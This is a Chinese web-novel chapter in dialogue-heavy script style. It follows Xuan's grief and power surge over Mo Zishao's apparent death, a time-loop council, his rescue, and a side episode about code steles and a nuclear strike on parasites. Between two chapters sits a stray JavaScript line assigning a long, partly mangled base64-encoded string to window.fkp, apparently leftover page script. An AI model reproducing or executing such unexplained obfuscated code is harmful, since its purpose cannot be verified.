“(流着泪)不,这不是真的!墨子邵......墨子邵不可能死的,他的实力可是这里数一数二的!他怎么会呢?他怎么会死呢......(咬着牙)不,这不是真的,这绝对不是真的!” 轩手腕上的龙印发出了血红色的光芒,一股强大的能量出现在轩的体内,龙印正在压制这股能量。墨子邵临行前的话语回荡在轩的脑中,那是墨子邵第一次骗她,也是最后一次骗她。 轩: “(流着泪)墨子邵,你个大骗子!你为什么要骗我?你知道你那个任务有多危险的......你为什么不跟我说?让我陪你去多好,那样你就不会死了......” 轩手腕上的龙印发出了金色的光芒,龙印上开始出现裂缝,这股强大的力量正在变大,龙印对这股能量的压制显得十分吃力。轩的脑中浮现出了自己打造吊坠时的辛苦的样子,那时她很累,也很开心。回想起墨子邵收下吊坠她心里的那种激动,轩更加伤心了。 轩: “(流着泪)墨子邵......你说好中秋节的时候教我做月饼的......你答应好我的......” 胤: “(难过)节哀吧,轩。” 轩手腕上的龙印发出了紫色的光芒,龙印之上遍布裂痕,这股强大的力量此刻即将超过龙印的极限负荷,龙印即将破碎。轩回想起了自己被检查出异常情况时墨子邵对自己说的话,墨子邵的话让她找回了自信,让她重拾了信心。这些回忆一遍遍地刺痛着轩的内心,对于轩来说,墨子邵是她最信任的人,是对她最好的朋友,是带给她许多美好回忆的人。轩想起了那些美好的回忆......突然间,轩手腕处的龙印碎成了无数的碎块,她体内压抑许久的能量在这个时候全部释放了出来。她的身上的盔甲变了红银相间的战甲,她的背后出现了由火焰与闪电构成的神龙图腾,她的头上长出了一对龙角,手背上出现了一片片龙鳞。一股前所未有的力量出现在轩的身上。 胤: “(劝说)轩!你要冷静......” 就在事情即将走向不可控的那一面的时候,轩的闺蜜缪霄突然冲了进来。缪霄不顾危险直接冲到了轩的面前,试图让轩冷静下来。就在这时,轩突然一拳头对着缪霄打了过去,这一拳直接把缪霄吓得愣在了原地一动不动。突然,轩的拳头停下了,她控制住了自己没让拳头打在自己的好朋友缪霄身上。一阵拳风呼啸着吹过大堂,风吹起了缪霄的头发,让缪霄回过神来。轩的停在了缪霄的面前,就差一丁点就打在了缪霄的脸上。缪霄看着轩脸上的泪水与她悲伤的眼神,她明白轩此时的心境,作为朋友,缪霄很能理解轩。 缪霄: “(劝告)轩!冷静!别做傻事。我知道墨子邵的事你心里难受,我能理解你!” 轩没有说话,只是委屈巴巴地看着缪霄。 缪霄: “(严肃)轩!你这个样子怎么能行呢?振作起来!现在皇宫上下就你最强了,你得保护好殿下和大家。” 轩没有说话,她默默地流着眼泪。这时大堂外的士兵察觉到不对冲了进来,领头的士兵看到轩这样刚想掏枪击毙轩,胤突然出现在这个士兵面前阻止了他。 士兵: “殿下,这......” 胤: “(摇摇头)不,你们不必这么做。” 士兵: “可......” 胤: “(心情复杂)她只是太过于伤心而已。” 缪霄: “(微笑)轩,墨子邵在走的时候可是把整个王宫的安全托付给你了啊!要是墨子邵在这里的话,他绝对不希望你像现在这样的。别忘了,你可是太玄国最强女汉子啊!” 轩缓缓放下了拳头,然后缓缓低下了头,她又变回了原来的样子。轩擦了擦眼角的泪水,然后带着愧疚对周围人说: “抱歉,我失礼了。” 胤: “(严肃)医疗部副部长!你陪着轩去她的屋子吧,我给你和她假,让她回家好好休息一下吧。” 缪霄: “(点点头)谢谢你,殿下。” 轩: “(愧疚)抱歉,殿下......” 胤: “(微笑)抱歉什么抱歉!回去好好休息,等休息好了你再来执行任务吧。” 然后缪霄带着轩回到了轩的家中。出于关心,缪霄留在轩身旁安慰了轩许久,她让轩的情绪稍微平复了一些。出于理解,她在安慰完轩之后便按照轩的意思离开了她的家,让轩一个人在家里发泄。轩在家里哭了许久,期间她拿出了一本大相册,大相册上是她从小到大拍摄的照片,其中一大部分是她与墨子邵的合影。每张照片都是她的一段美好的回忆,之所以她才拍摄了这些照片,因为她很怕忘掉这些美好的回忆。在看完这些照片后,轩来到了她的卧室。卧室的床头柜上有一只小熊玩偶,轩拿起这个小熊玩偶,看着这个小熊玩偶,轩的心里难受到了极点。她抱着这个小熊玩偶坐在床上哭了起来,她哭了很久,很久。泪水浸湿了她的衣袖,她的眼睛因为哭泣都变红了。 轩还清楚地记着,这只小熊玩偶是墨子邵在第一次给轩庆祝生日时送给轩的。那时墨子邵很尴尬,轩收到的所有礼物里只有他的是最便宜与最特别的。那时他不知道女生喜欢什么,于是他求助了他的同学,他从他同学手里要了本礼物指南。但因为这本礼物指南年代已久再加上书页磨损,墨子邵就看错了,后来他真的以为轩这个年纪会喜欢小熊玩偶,于是他就送了个小熊给轩。轩很清楚的记得,自己一直以来都想要个玩具熊,但是她不好意思去买,因为她已经是个老大不小的人了。轩当时收到这份礼物的时候特别高兴,特别激动,这个小熊玩偶是所有礼物中她最喜欢的那个。自从墨子邵送了这个小熊玩偶给她,她一直没舍得弄脏这个小熊玩偶,就连抱着它都小心翼翼。 到了日暮的时候,轩的情绪已经平复一些了,她现在不再哭泣,而是默默地翻着相册去看曾经的留下的回忆。就在这时,缪霄拿来了一块古怪的石头。她将这块石头放在茶几上,并很严肃地对轩说: “轩,这块石头是从墨子邵留给你的。” 听到缪霄这么说,轩很好奇地拿起了这块古怪的石头。这块古怪的石头上刻着未知的文字,看着这些文字,轩似乎感应到了什么,有什么东西在她的心里呼唤着她。但不一会,这个声音就消失了。轩握紧了这块石头,然后她不禁潸然泪下。 十几个小时后...... 在位于机械之国的钟楼的时钟室内,宙级洪流正在慢慢悠悠地喝着咖啡凝望着远处的城市。这时,宙级洪流钟向外发出了一道奇妙的波,这道波唤醒了某些东西,改变了某些东西。突然间,包裹着扭曲区域的紫色光柱变粗了,同时在城市的郊区之中出现了一些古怪的石碑。 宙级洪流钟: “警告!时间线出现严重矛盾!警告!时间线出现错误!时间紊乱指数达到35%!警告!数据删除区域的保护装置失效......扭曲现象更加严重......沉睡在这片土地之上的三大代码已经苏醒......” 宙级洪流: “看来,这次循环中的他比我想象的更加和善啊......不过,貌似神明要跟我们作对了,殿下的路更难走了。” 就在这时,一个长方形的传送门出现在时钟室之中。从这个传送门之中走出了一位身穿帅气黑色制服的女人。她身高一米八,有着淡黄色的皮肤和一头赤红色的长发。她的长发是半高马尾的造型。她带着墨镜叼着烟,看着霸气之中带有一丝帅气。看着她,宙级洪流感到既熟悉又陌生,他隐约觉得从哪里见过她。 wILL: “(客气)宙级洪流老爷子,干啥呢?” 宙级洪流: “(严肃)没事,喝喝茶。” wILL: “(疑惑)喝茶?您很是休闲啊,老爷子。” 宙级洪流: “(微笑)可不是吗,姑娘。我奉命一直驻守在这里,没事可干就喝喝茶。正好你来了,能跟我聊几句。” wILL: “(拿起烟吸了一口)老爷子,抱歉哈。姑娘我今天还有事要办,不能陪您闲聊太久。” 宙级洪流: “(闭着眼点点头)行吧,姑娘。但在你办事之前,我能问你一个问题吗?” wILL: “(把烟放回嘴边叼着)问吧,老爷子。” 宙级洪流: “(好奇)请问你是红影剑客的女儿薇莉莉吗?” wILL: “(拿起烟吸了一口)我是,但不完全是。真正的我还在东玲国那片令我回味无穷的地方待着呢,现在的我只是过去时间循环的镜像而已。” 宙级洪流: “(微笑)原来如此,我说怎么觉得从哪里见过你。” wILL: “(严肃)先不说别的了,老爷子。我们先说正事吧。” 宙级洪流: “(点点头)好。请讲吧,姑娘。” wILL: “(郑重)我是时间管理局的,来这里是来找你商量一件事的。这件事有关时间循环的安全,也关乎这个世界的秩序。(严肃)简单来说,那就是这次时间循环出现了与上次世界循环差异较大的地方,本该死去的墨子邵并没有死去。他还活着。你知道的,老爷子。你知道这种强烈的反差意味着什么。” 宙级洪流: “(严肃)混乱,以及某些改变。” wILL: “(严肃)扭曲就是由此而来的。——我们已经调查到了引起这次反差的异常物了......那个异常物不是别的,就是国王殇的附生体。而且,貌似每次时间循环都是因他最后的选择才进行的。老爷子,请问下你是否愿意让我们去清理这个异常物以来保护时间循环的正常呢?” 宙级洪流: “(摇摇头)不用了。” wILL: “(拿起烟吸了一口)老爷子,你想好了,如果这次时间循环再出什么岔子,下次的循环将会导致整个世界走向崩坏。让我们来处理是最好的选择,我们可以让时间异常完全消失。” 宙级洪流: “(摇摇头)不,你们这样做会触怒于那个人的,到时候我可给予不了你们庇护。” wILL: “(皱眉)connard!老爷子,你就真的那么相信他吗?你曾经看到过他是怎么背叛我们的,你也看到过他是怎样的无耻。只有在这次循环里让他消失了,种子才能安全保留下来,伊那个傻姑娘才能活到最后!你知道的,她体内流淌着m的血,她体内的能量能够与那个人抗衡。” 宙级洪流: “(心情复杂)哎......你们管理局的先不要插手这件事,现在还不需要你们动手。” wILL: “(严肃)现在再不动手那可就没机会了!殇在吸收了那些承载他力量的符文后会越来越强,直到恢复到原来的实力。到时候,我们几个可干不过他。” 宙级洪流: “(微笑)再信他一把吧,也许他能改变呢,毕竟他都饶恕了那么多人了。这次我相信他可以做到的,他可以拯救每个人的。” wILL: “(不情愿)好吧好吧,就按你的决定来。(警告)别怪我没警告过你,如果再出什么岔子,那可就再也无法挽回了。您老人家再好好考虑考虑吧......” wILL打开传送门离开了。宙级洪流看着窗外的景象陷入了沉思,他不知道前路该往哪里走,他很迷茫,他现在能做的,就是守在这里等待殇回来。 宙级洪流: “(深情)我的王啊,你究竟何时能够回来?时钟室坚持不了多久了。那个支配一切的男人正在慢慢毁掉我们的世界,现在只有你能够拯救这个世界。赶紧回来吧,殿下......” 与此同时...... 修进入了之前给殇进行手术的房间给墨子邵进行抢救,争取把墨子邵救活过来。在手术前,殇和修一起把墨子邵身上的衣物给卸掉了,就在这个过程之中,殇发现了墨子邵腰间的匕首与他胸前带着的吊坠。现在,在手术室之外的殇正在仔细地观察了这个匕首,这匕首的造型很熟悉,殇感觉从哪里见过这个匕首。突然间,殇想起来了。这个匕首是他曾经一起战斗的战友李成的。想到李成,殇有些怀念他。那时候殇跟李成是关系还不错的哥们,在解放太玄国的战斗中,李成总是跟着殇一起冲锋...... 殇: “(怀念)李成啊,李成。多年不见,不知道你近来可好啊?有机会我一定找你出去喝两顿。——墨子邵应该是老弟你收养的孩子吧,毕竟我都没看过你有媳妇。” 殇把这个匕首放在了一旁的桌子上,然后他拿起那个吊坠看了看。他发现这个吊坠竟然是由价格高昂的共鸣玉石打造而成的,要知道,这种玉石的价格可是极其昂贵的,这不是一般人能买得起的。 殇: “(微笑)卧槽,这吊坠可真是高级啊。(突然明白了什么)诶,等下。这种玉石不是......哦~我明白了,看来应该有个姑娘一直在牵挂着这小子......” 到了第二天凌晨时分,殇在进行手术的房间外靠着墙睡着了,他等了很久,以至于他等得都睡着了。伊坐在殇对面的椅子上焦急地等待着,她的心里很是不安。就在这时,房间的门打开了,修带着微笑从里面走了出来。听到声音,殇立马醒了过来。见到修出来了,殇和伊走到了修的面前询问状况。 伊: “(担心)怎么样了?修爷爷。” 殇: “(担心)修,情况如何啊?” 修: “(微笑)所幸抢救的及时,现在他生命体征稳定下来了,已经没什么大碍了。” 伊: “(开心地笑)太好了!墨子邵他没事!” 殇: “(微笑)操!这小子命还挺大,我还以为我给他弄死了呢。” 修: “(担忧)殇啊,还有个很大的问题需要解决。” 殇: “(淡定)说,什么问题?” 修: “(担忧)我看他这形势,起码得一个月才能醒过来。我这里氧气瓶与营养液储量不多,我怕到时候他就因为缺少这两样东西死在病床上。而且,他小子的核心没了,没了核心,他很容易被感染。” 殇: “(爽快)我知道了!这事我去想办法处理一下。” 修: “一定要赶紧把东西送到我这里,不然我怕他挺不住啊。” 殇: “(微笑)好的。包在我身上吧!” 到了第二天中午,肃清者突然来到了这里。见到肃清者,殇很热情的迎了上去,然后邀请她进屋里坐下喝茶。肃清者有些惊讶,她没有拒绝,她跟着殇进到了屋内,然后坐在了桌子旁与殇喝茶。伊坐在了肃清者旁边,她也一同跟着殇和肃清者喝茶。在小抿了一口茶后,肃清者放下茶杯问起了正事。 肃清者: “(疑惑)殇,你是不是找我有些事?还是说单纯地请我喝茶?” 殇: “(微笑)两种都有。” 肃清者: “(冷冷地说)找我帮忙?(阴笑)你是不是忘了我是谁了?” 殇: “(微笑)肯定没忘啊。不然我怎么找你帮忙呢?” 肃清者: “(冷冷地说)如果你还想活着的话,现在你最好就马上逃跑,不然小心我把这里夷为平地。” 殇: “(微笑)别那么冷漠吗!热情一点。” 肃清者的身后出现了十只规则之手,她的阴着脸死死地瞪着殇。 肃清者: “(严肃)如果你没有个不让我杀你的理由,那么现在我就把这里夷为平地。” 殇: “(严肃)咳咳咳......肃清者女士,或者我该叫你......澪?” 肃清者瞪大的眼睛,她的眼神之中满是不可思议。肃清者下意识地用规则之手捂住了伊的耳朵。伊感觉有些不舒服,她想要把罩在耳朵上的规则之手拿下来,但是规则之手力量太大了,她弄不下来。 肃清者: “(惊讶)你说什么?你这个混蛋刚刚说了什么?” 殇: “(严肃)又或者说,我该叫你......女儿?对吗?肃清者女士。” 听到殇这么称呼自己,肃清者的脸上浮现出了一丝笑容。 肃清者: “(微笑)对,父亲。想不到你竟然想起我来了。(有些愧疚)抱歉,刚刚失礼了。” 殇: “(微笑)没关系。现在你可以帮我这个忙了吧!” 肃清者: “(点点头)可以,父亲。” 伊: “肃清者姐姐......你能让你的两只手松开吗?这样我有些难受。” 肃清者: “(微笑)嗯?差点把你忘了,小可爱。等一下,等我跟殇说完这件事我就松开。” 伊: “(不愿意)啊......” 殇: “(微笑)你帮我弄一小批氧气罐和营养液以及一个高级核心行吗?我漂亮的女儿。” 肃清者: “(思考了一下)行。但是你得先告诉我谁用这些东西。” 殇: “(微笑)我的一个朋友。他受了重伤,需要医治。” 肃清者的眼睛看向了一旁,她的瞳孔变成了青色,她似乎察觉到了什么。她抬起头看向墨子邵躺着的房间,她瞬间消失在了殇和伊的眼前。肃清者一个瞬移来到了墨子邵的病床前,在看到对方的样子后,她的嘴角微微上扬。 肃清者: “原来如此......” 肃清者对着墨子邵伸出了右手,金色的能量阵出现在她的手中,看样子肃清者要杀了躺在病床上的墨子邵。就在她要激活能量阵的时候,她突然握紧了右拳,缓缓地放下了手。不知为何,她放弃了杀死墨子邵的这个想法。在许多道金色的闪电出现并很快消失后,肃清者一个瞬移回到了之前的位子上。肃清者的表情很是严肃,她的内心似乎在做着激烈的挣扎。虽然在形势上她不该饶恕墨子邵,但是看在她爸殇的面子上,她没有那么做。 肃清者: “(严肃)我明白了,父亲。我会订购一批医疗用品到这里,到时候去天堂岛的离岛港口去接这批货物吧。” 殇: “(微笑)明白了,我亲爱的女儿。” 肃清者: “(拿起茶杯抿了一口茶)爸,你保重,我回去处理王国的事物去了。” 殇: “(笑着点点头)好嘞,女儿。” 肃清者: “(站起身来)爸,你们两个......加油吧,争取早点回到祖国的怀抱之中。” 说完,肃清者打了个响指,捂着伊耳朵的规则之手松开了,所有规则之手整齐地排列在她的身后。肃清者从容地走到伊面前,然后她将脸贴近伊的脸。见到肃清者这样,伊竟有些害羞,她的脸不自觉地有些泛红。 伊: “(害羞)肃清者姐姐,你这是干什么?” 肃清者冲着伊笑了笑,然后她亲了伊的脸一口。亲完之后,她在伊的耳边轻轻地说道: “你是我们的希望,伊。无论如何,我们都不会让你死的。” 在说完这句话后,肃清者的表情瞬间严肃起来。她往后走了几步,确保周围足够空旷。她看了看殇,又看了看伊,她的脸上浮现出了笑容。她笑着闭上眼睛,然后几道金色的雷电出现在她的周围,在一道耀眼的光芒过后,肃清者消失了。伊还没从刚刚的那一吻中回过神来,她整个人有些发懵,刚刚发生的事她做梦都不会想到,堂堂巅峰级人物肃清者竟然会亲她一口,这种事要是传出去,她可就是新闻头条上的人物了。殇轻轻拍了一下伊的头让伊回过神来了,回想刚刚发生的事,伊竟有些开心。 伊: “(笑)肃清者姐姐她......她亲了我一口!(回味)那种感觉......好奇怪。” 殇: “(淡定)瞧你这样,不就是被她亲了一口吗,有啥大惊小怪的?” 伊: “(笑)毕竟是被这种顶级的人亲了一口吗,我难免有些激动。” 殇: “(淡定)哎......真搞不明白你。” 第二天中午,运送医疗物品的货船停靠在了天堂岛的离岛港口边。船上的工人把货物卸到了港口上,然后货船驶离了天堂岛。殇和伊以及修三人把这些医疗物品运回了修的诊所,他们三人花了好一阵功夫才把这些货物全部运回了修的诊所。在处理好一切后,殇和伊在修家里吃了一顿午饭。午饭过后,殇拿走了被封印的小咒刀,然后他和伊告别了修和流光蝶影,徒步向着之前的登陆点走去。 在很长一段时间后...... 殇和伊收集完了需要用的燃料,之后他们两个上了船,准备离开天堂岛。殇启动了引擎,升起了船锚,他们的船缓缓离开岸边。在这个时候,伊吹着海风静静地望着这座曾经被称为最美度假圣地的天堂岛,她的眼神之中有着一丝哀伤与不舍。它曾是这世间最美的地方之一,它曾经是无数人心中的梦想,它曾是象征财富与权贵的地方。可如今,这里只剩下疫病与荒凉,曾经辉煌早已经沉没在了遗忘之海之中。他们的小船驶向了远方驶向了充满未知的东玲国,到了那里,他们算是彻底离开了无人区,离开了荒芜,走向了城市,走向了充满荆棘的灰色世界。 在太阳即将落到地平线下的时候,伊走上甲板,走到了围栏边看着这一轮落日。清凉的海风吹来,落日的余晖照在她的身上,伊感受到夜幕到来时的清凉与余晖的余温。这时,许多只海豚跃出了海面,它们的身影映衬在余晖之中,看着有种自然的美感。这些海豚越过海浪,向着远方游去。这一切令伊感到了舒心与愉悦,她很久没像现在这样愉悦了。在艰苦的天堂岛之旅之后,她现在格外地放松。就在她欣赏海上的美景的时候,殇也加入了进来。 伊: “(愉悦)大海真美啊!” 殇: “(微笑)可不是吗,尤其是落日时分的海,看着格外美丽。” 伊: “(看向殇)诶?殇,你不是在驾驶船吗?” 殇: “我把船切换到了自动驾驶模式。现在的航线是笔直向前的,我正好有时间出来看看外面景象。” 伊: “(微笑)原来如此啊。” 看着远处的落日,殇想起了什么。 殇: “(感慨)哎,要是世界上能多几个像墨子邵一样的‘傻小子’就好了。可如今这个世道啊,这种真正的‘傻小子’越来越少了。” 伊: “(感慨)对啊,要是这世上能有更多像他一样忠诚而且只为信仰与真理而奋斗的人,我想这个世界的人们就可以团结起来了。” 突然,殇想到了什么东西,他突然想问伊一些问题。 殇: “伊,你都看到了什么?” 伊: “我看到了一望无际的海洋,我看到了落日余晖的美,我看到了海浪与海里的‘小精灵’。” 殇: “你最主要看到了什么?” 伊: “(思考)我想想......(微笑)美丽的海景。” 殇摇了摇头,然后他用手指着远处的落日。 殇 “(指着落日)看,落日。” 伊: “(开心)对,落日。它很美,也很凄凉。” 殇: “你都从落日里看到了什么?” 伊: “光,余晖,落日的余晖。” 殇: “(微笑)那它代表了什么?” 伊: “代表白天的结束,黑夜即将到来。” 殇: “(微笑)对,但不完全对。” 伊: “(疑惑)不完全对?” 殇: “(微笑)那是今天的落日,却不是明天的落日。” 伊: “(突然明白了什么)殇,你的意思是!” 殇: “(微笑)小时候,我的父亲告诉我:看着落日,你最先想到的不是黑夜,你最先想到的应该是明天的日出。” 伊: “(明白了许多)我明白了,殇。” 殇: “(深情)新的太阳终将升起,漫漫长夜终将过去。” 伊: “(笑)每一天都注定会有漫漫长夜,但也注定会有太阳明媚。” 殇: “(深情)不知,追随光芒的勇士,今日还有几人。” 说完后,殇和伊对视了一眼,他们两个都笑了。 寒夜的海洋之上,一只小船正迎着夜色向着前方飘去。在它前方,是有着万家灯火的城市。它的前路是未知的、充满荆棘的,但它不会停下。因为它要走的路还很漫长,它的故事还在继续。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第零话:小剧场3 通历43年7月4日下午5点,在幸存者联盟国巨星城郊区的废墟之中,林和比娜正在废墟之中小心翼翼地切割着一块只有门大的刻字石碑。,他们所使用的工具是纳米切割链锯,切割的效率很高。这些石碑是前几天突然出现的,在那天各地都出现了轻微的地震,在那场地震之后,这些石碑中就突然出现在了这里。没人想知道它们是怎么出现的,人们知道它们有着很高的价值,它们能为人带来一种独特的能力。这种能力是独一无二的,每个人的能力都不一样。后来各大协会会长在开会之后为这些石头取了一个名字,叫做代码石碑。根据种类不同,每种代码石碑都有独特的名字。红色的是代码0,金色的是代码1,绿色的是代码2。每块代码石碑都有强大的能量,没人可以解释这些石碑蕴能的原理。根据代码石碑蕴含的特殊能量的蕴能等级,人们将每种代码石碑都分为了5个等级,等级越高,其中蕴含的能量越多,价格也就越高。 林和比娜切割的是一块只有2级的代码0石碑。这块石碑蕴能的部分可以买个好价钱,这对于林和比娜来说是比不小的买卖。对于他们来说,这可比到处杀人截货什么的安全多了,只不过被感染者或扭曲生物袭击的风险。石碑的切割格外顺利,这块门一样大的石碑就被成功一分为二。上半部分在重力的作用下掉在了地上,看着地上这块石碑,林和比娜犯了难。比娜为了林着想,想让林抱着石碑,自己去掩护他回去,但林拒绝了。林想让实力比他稍逊色一些的比娜抱着这块石碑回去,而他则去掩护比娜离开。 林: “(关心)比娜,你去抱着石碑,我来掩护你!” 比娜: “(着急)不!林,你去抱着!我来掩护你。” 林: “(着急)比娜,现在不是在事务所里办事物。而且我是社长,你作为我的社员,你要听我的话。去,抱着它。” 比娜: “(着急)林!我是你的妻子,我是一家之主。你作为我的老公,你得听我的,你去。” 林: “(着急)比娜,回家我去天台睡一周都行!在这件事上还是由我来掩护吧。拜托了,你去抱着它吧。” 就在这时,在废墟的深处传来了诡异的低吼声。林和比娜本能地看向了废墟的深处,地面此刻微微颤动了几下。林和比娜都不由得流出了几滴冷汗,他们听过感染者与扭曲生物的咆哮,各种体型的都听过,唯独就没有听过这种特别的低吼声。他们十分确定这是扭曲生物的吼声,因为这种能给他们带来恐惧的声音他们是一辈子也不会忘记。此刻,废墟中起雾了,周围的光线变得十分昏暗,林和比娜的心跳开始加速,他们此刻无比地紧张。阴霾缭绕在他们周围,阴森至极的恐惧包裹住了它们的心。冷风呼啸着吹过废墟,风声让林和比娜感到格外不舒服。地面微微颤动,一个身形魁梧的人在阴霾之中现身。 他全身的皮肤都是瘆人的灰白色,他的皮肤很紧实,骨骼结构可以看得一清二楚。他没有嘴唇,满嘴獠牙,有两对蓝色的眼睛,头顶上有着一些代替头发的洁白骨刺。他整体的样子趋近于人类,但他的体型比正常人类庞大。他的背后有着许多只怪异的勾状触手,触手末端都是锋利的锥刺,看着有着莫名的帅气。他身高四米多,比一层楼高,而且他十分强壮,全身都是健硕的肌肉,这两点凑在一起,让人看着不禁心生恐惧。 林和比娜在看到这个怪物后感到了来自内心深处的恐惧,这种恐惧比去直视那些体型巨大的扭曲生物所带来的的恐惧还要强烈。林和比娜本能地拔出了背上的武器,在求生的意识下用颤抖着的手握着手中的武器。他们此刻的命运完全掌握在了面前这个魁梧的人手中,是生是死,都由这个人说了算。他们也许能够打败这个人,但是可能性微乎其微,他们深知这一点。这个魁梧的人看了看他们两个,在林和比娜眼里,面前的巨人想要杀死他们简直易如反掌。在某一时刻,林和他深情对视了一眼。在他的眼神之中。林没有看到蔑视,而是看到了十分反常的好奇与善意。突然间,这个巨人他开口对着林和比娜说话了。 “(低沉的吼声)你好啊,人类。” 听到这个巨人说话,林和比娜愣住了。他们从来都没想过这种非人类的怪物能说话,在他们的印象中,这种样子的怪物见到他们就会撕碎他们,根本不会给他们交流的机会。 “(低沉的吼声)这个高大的人叫林,这个长头发的叫比娜......” 听到这个巨人说的话,林和比娜十分震惊。他们很好奇面前这个巨人是怎么知道他们的名字的,但出于恐惧,他们并没有敢问。 “(低沉的吼声)人类,你不必害怕我。——自我介绍一下,我叫阿曼达,是与疫病代码核心合三为一的新人类。我不会吃掉你们,也不会杀掉你们,我只是想看看你们。我已经很久很久没有看到过健康的人类了,我也很久没有回到我的家乡了。林,比娜,你们能不能回答我三个问题。” 林和比娜的恐惧有些缓解,他们两个相互对视了一眼,他们用眼神交流了一下内心的想法,林和比娜的想法是一样的,都决定为了活命回答阿曼达的问题。林和比娜鼓起了勇气,开口告诉阿曼达可以回答他的问题。 阿曼达: “(低沉且带有一丝喜悦的吼声)感谢你们,人类。那么好,首先是第一个问题。我的故国安特国今天怎么样了?” 比娜: “(害怕加惋惜)阿曼达先生,你所谓的安特国已经消失很多年了。现在,幸存者联盟国取代了安特国。” 阿曼达听到这句话,他立刻低下了头,他闭上了眼睛待了一会,然后缓缓抬起了头问了第二个问题。 阿曼达: “(低沉且带有一丝悲伤的吼声)你们两个是哪里的人?” 林: “(害怕加紧张)我是东玲国移居过来的,比娜是这里的原住民。” 阿曼达看了看林,又看了看比娜,他知道了什么。阿曼达问出了最后一个问题。 阿曼达: “(低沉的吼声)你是她的丈夫吗?” 林: “(点点头)没错,我是。” 阿曼达此刻突然张开嘴拔下了两颗牙,然后把这两颗牙放在手心处,接着他俯下身子将托着牙齿的手缓缓移到了林和比娜身前。 阿曼达: “(低沉的吼声)人类,你们两个要好好对待对方。记住一点,你们在这世界上唯一能信任的人就是对方。——拿上我的牙齿,这是我对你们最大的敬礼。有了它,感染者不敢接近你们。” 林和比娜点了点头,然后拿走阿曼达手心处的牙齿。这两颗牙齿格外地白,牙齿边缘没有一点污渍,唯独牙根部分沾了点蓝色的血。看着这两颗牙齿,林和比娜明白了阿曼达的用意。林和比娜握紧手中的牙齿,然后闭着眼异口同声地对阿曼达说: “谢谢。” 阿曼达目送着林和比娜离开了,对于阿曼达来说,看着林和比娜,他就仿佛看到了曾经的自己与自己已逝去的爱人。他的身后隐藏了许多身穿科技战甲的感染者,这些感染者都是阿曼达的手下,他们与阿曼达一样,都是在感染后还能保持理智的人。到最后是比娜一脸不情愿地抱着石碑在林的掩护下离开,也许,林可能要真的去睡一个星期的天台了。虽然比娜满脸的不情愿,但是心理上她还是选择了妥协。林和比娜在一路上遇到了许多觅食的感染者,这些感染者在靠近到一定距离后便露出害怕的表情,然后灰溜溜地逃掉了。于是林和比娜就在感染者组成的“欢迎大队”的迎接下大摇大摆地回到了巨星城之中。在这感染者与“感染者”横行的世界中,能遇到对自己友善的人,或者称不上是人的东西,对于林和比娜来说是件格外幸运的事。 与此同时...... 之前在西柏木失事坠毁的GpAd公司飞机的那块土地上,现在已是腐化与寄生虫横行。周围村庄与阵子之中的人们都没能幸免,全部变成了寄生虫的宿主。在寄生虫的不断变异下,腐化渗入了这块土地之下,地下水变成了血一般的颜色,同时无数寄生虫的虫卵潜伏在地下水中。GpAd花了重金切断了这片区域附近所有的地下水供应,同时出动大量的建筑队在地下修筑了一面高达二百多米厚达五十多米的混凝土墙来隔绝地下水的流动与排污系统的排污。一切的一切都是为了防止腐化蔓延到居民区内,但做这么多还是不够,由于坠机的地方靠近海边,为了防止寄生虫进入海洋,GpAd花重金在Gw(银河之网)购买了一颗核弹,接着向肃清者和西柏木领袖通过会议要来了投放许可证。在一声投放命令下达后,GpAd将这枚核弹投在了寄生虫肆虐的中心,以此来彻底销毁这些寄生虫。同时,GpAd正在着手销毁证据以及找替罪羊推卸责任。 就在刚刚,一朵蘑菇云在兰田乡的土地上升起。核爆所带来的热浪几乎毁灭了地面上的一切生物,那些顽强的寄生虫压根顶不过辐射与高温,纷纷在热浪与冲击中毁灭。高耸的蘑菇云直入云霄,爆炸时的热浪将天空染得如夕阳时分一样赤橙。几乎是在同时,所有频道的电视节目都在播送这一场面,并且宣告寄生虫威胁的解除。听到这一消息,所有人都不禁欢呼雀跃了起来,一个跟扭曲一样让人让人头疼的问题被解决了! 就在所有人欢呼雀跃的时候,一声惊雷震慑住了所有人。只见在蘑菇云消失之后,一株由无数寄生虫尸骸拼凑而成的“巨树”拔地而起,这一奇观震惊住了每一位观看新闻直播的人。这颗巨树之下的土地变成了诡异的砂岩色,在地面上有着无数的裂缝,裂缝之中有着猩红色的血肉正在蠕动。土地之上弥漫着辐射尘,但是辐射貌似对这颗巨树没有任何作用。不远处的海不知为何变成了绿色,同时渐渐变得有酸性,刺鼻的硫磺味弥漫在海平面上。看上去,腐化已经消失了,寄生虫的问题也看似解决了。但这剩下的巨树,却成了人们最后的隐患。 在这个问题是,所有的奇点大公司大企业突然变得格外团结,他们不计前嫌,千里迢迢地亲自来到了GpAd的总部与GpAd老总丹尼进行面对面的特大级别会议。就在会议即将开始的那一分钟,一辆造型超前且有着金色灯条的银色悬浮车出现在GpAd的港口上。此时,GpAd安保部的部长接到了上级的命令,带着人马去港口去接这辆车中的人。 在车门打开的瞬间,一道奇异的光芒从车内照向车外,一个面带电子纹路金面具,身穿白色西装的男人从车内走出。迎接的人在看清对方的样子后不禁冒出了几滴冷汗,一种秒杀全场的压迫感袭来,每个人都提起了十二分的精神,生怕说错话做错事。这个带金面具的人环视了一圈,初步确认没有敌人。这时,真正的重磅角色来了。 一个身后悬浮着炫酷阿斯加德合金十字架、身穿黑色西服、身披一件红色带绒高档金纹大衣、眼部被布死死地蒙着的灰发男人走下了车。他双手插兜,手没有伸到外层的大衣袖子中,这使得外层大衣就像披风一样披在他的身上。他调整了一下自己的领带,确保自己是最佳状态。他的眼睛虽然被布封上了,但是人们依旧能通过那层布感受到他犀利的眼神。他的大名无人知晓,但他的职业无人不晓。他是这城市体系之巅的男人,是这世界上最自由的十个男人之一,是世界第三强的强者。 迎接人群: “(敬畏)首脑先生,欢迎您的到来!” 雅巴达之剑(带金色面具的男人): “(严肃)你们这里的安保情况如何?能确保没人偷听我们的会议吧。” GpAd安保部部长: “(信誓旦旦)雅巴达之剑,首脑,我们GpAd安保部已经做好了一切安保工作。我们保证整栋大楼内没有敌人,你们大可放心,会议绝对不会有人偷听的。” 雅巴达之剑: “(严肃)最好这样。” 首脑: “(严肃)会议马上要开始了吧?节省大家的时间,你们带路吧。” 